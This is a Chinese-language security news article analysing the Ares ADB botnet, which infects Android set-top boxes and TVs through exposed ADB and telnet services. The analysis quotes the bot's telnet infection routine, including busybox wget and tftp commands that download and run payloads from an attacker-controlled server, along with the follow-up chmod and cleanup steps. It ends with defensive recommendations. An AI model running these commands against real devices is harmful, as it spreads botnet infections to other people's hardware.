ARES ADB IOT僵尸网络分析
2019-08-30 12:20:14 Author: www.4hou.com(查看原文) 阅读量:153 收藏

ang010ela 新闻 2019年8月30日发布

Favorite收藏

简介

WootCloud研究人员近期发现一起受感染的安卓数字机顶盒(Set Top Boxes,STB)的过程中发现了攻击基于安卓的IOT设备来触发大规模感染的Ares ADB僵尸网络。研究人员之前就发现有攻击者滥用或利用安卓ADB协议,ADB协议是大多数安卓设备和相关的客户端调试和远程管理安卓设备的通信组件。

背景信息

安卓数字机顶盒是运行特定安卓版本的媒体流设备。使用安卓操作系统的这类设备的数量正在指数级的增长。安卓操作系统除了广泛用于移动设备、电视、STB、智能手表等外,也广泛用于IOT设备。攻击者开发的安卓恶意软件利用安卓设备中的漏洞为其牟利。近期研究人员发现多个针对安卓设备的威胁,包括加密货币挖矿、移动设备监控、信息窃取器恶意软件等。研究人员进一步分析发现受感染的设备主要是攻击安卓系统的ADB服务。Android Debug Bridge (adb)是所有安卓设备中存在的组件。ADB由客户端、服务器和daemon adbd组成。一般来说,adb服务器以进程的形式运行来建立客户端和daemon之间的通信信道。也就是说,adb就是客户端用来触发运行服务器的设备上命令的管理组件(工具),而adbd作为后台进程。

 

Android Debug Bridge

威胁分析

与安卓设备相关的威胁除了漏洞外,就是运行在联网设备上的开放的、非认证的adb服务。如果攻击者发现设备开放TCP 5555端口,就会确认和验证服务的安全特征,包括认证和授权控制。研究人员发现adb服务主要运行在TCP 5555端口上,而且不仅仅用于调试,也用于远程管理操作。如果远程管理可以通过调试接口完成,也就是说通过TCP 5555端口访问设备可以实现通过shell进行远程代码执行,上传或下载定制应用,数据访问或其他。

研究人员发现了一个新的Ares僵尸网络,其主要攻击向量就是通过ADB接口感染和传播。研究人员分析发现:

攻击者利用基于安卓系统的设备的配置问题或暴露的ADB远程管理或调试接口来安装Ares bot,主要是STB、电视。

Ares bot安装成功后,会启动扫描器来:通过ADB接口获取设备指纹和检测更多的安卓设备。

安装特定攻击者的payload来触发一系列攻击活动,比如加密货币挖矿。

Ares ADB特征

伪装二进制文件

ARES bot是通过adb二进制文件进行伪装和传播的。一般来说,二进制文件部署在data/local/tmp文件夹中,可以通过定制脚本来执行。下图可以验证伪装adb二进制文件的Ares bot的分发和安装。图1表示在被黑的安卓设备中执行Ares bot的输出。输出表明讲述主机会被kill并开始新实例。

 

图1: Ares bot执行的结果 – 伪装的ADB二进制文件

Ares bot执行后,就会开始触发ADB来扫描TCP 5555端口,如图2所示:

 

图2: ADB扫描TCP 5555端口

Ares bot可以复制并将自己写入其他运行暴露ADB访问的目标安卓IOT设备。启动Password Cracking Telnet Scans和感染设备:二进制文件执行后,也要注意Ares触发暴露的telnet服务器扫描来用基于密码的扫描尝试来入侵设备,如图3所示:

 

图3: Telnet扫描被黑的STB/TV安卓IOT设备

通过Telnet接口入侵其他设备的完整过程如下所示:

                        TELNET_READ_IACS : 初始化telnet连接线程,并检测是否telnet服务
                        listening
                        TELNET_USER_PROMPT: 检测和获取telnet用户提示并提供用户名
                        TELNET_PASS_PROMPT: 检测和获取telnet password提示并提供password
 
                        TELNET_WAITPASS_PROMPT: 成功登陆后等待系统提示,并通过下面命令获取shell:
                        enable
                        system
                        shell
                        sh
                        linuxshell
                        TELNET_READ_WRITEABLE: 获取shell后,执行读写操作。比如:
                        复制/bin/busybox到 tmp目录并清除:
                        /bin/busybox rm -rf
                        {tmp directory name}
                            /bin/busybox cp /bin/busybox
                            /bin/busybox chmod 777
 
                            TELNET_COPY_ECHO: 初始化基于echo的检查并确定以上操作是否完成
                            TELNET_DETECT_ARCH: 安装完busybox后,通过以下命令检查架构
                            /bin/busybox cat /proc/cpuinfo || while read i; do echo $i; done < /proc/cpuinfo;
                            TELNET_ARM_SUBTYPE: 检测架构完后后,检测arm architecture subtype
                           
                            TELNET_UPLOAD_METHODS: 检测完成后,安装busybox完成后,上传以下二进制文件:
                            TELNET_UPLOAD_ECHO
                            /bin/busybox cp
                            /bin/busybox chmod 777
                            TELNET_UPLOAD_WGET
                            /bin/busybox wget http://%s:%d/bins/%s.%s -O
                            /bin/busybox chmod 777
                            TELNET_UPLOAD_TFTP
                            /bin/busybox tftp -g -l %s -r %s.%s %s
                            /bin/busybox chmod 777
                            TELNET_RUN_BINARY: 在被黑的IOT设备上执行二进制文件
                            TELNET_CLEANUP: 成功后,清除文件,如下所示:
                            /bin/busybox rm -rf %s

限制内部IP地址空间

ARES ADB bot有内置的功能来比秒扫描特定范围的IP地址,这样就只有目标设备或IP地址范围会被扫描和入侵。该功能可以进行定制化来包含特定IP地址范围。图4就是来自ARES bot的代码。

 

图4: Ares Bot用来限制特定IP地址范围的代码

Ares bot payloads如下图所示:

 

图5: Ares.x86二进制文件

 

图6: Ares.arm二进制文件

其他测试表明二进制文件用UPX打包的如图7所示:

 

图7: 用UPX打包的Ares.x86和Ares.arm二进制文件

应对措施

研究人员提出以下建议来应对此类攻击:

· 配置网络策略来实现VLAN隔离来限制出入流量。

· 监控和控制出入IOT设备的流量。

· 限制IOT设备的ADB接口只对特定IP地址范围授权。

· 对IOT设备上的Telnet, Web, SNMP等接口配置密码。

· 使用复杂密码,尽量避免使用默认密码。


文章来源: https://www.4hou.com/info/news/20015.html
如有侵权请联系:admin#unsafe.sh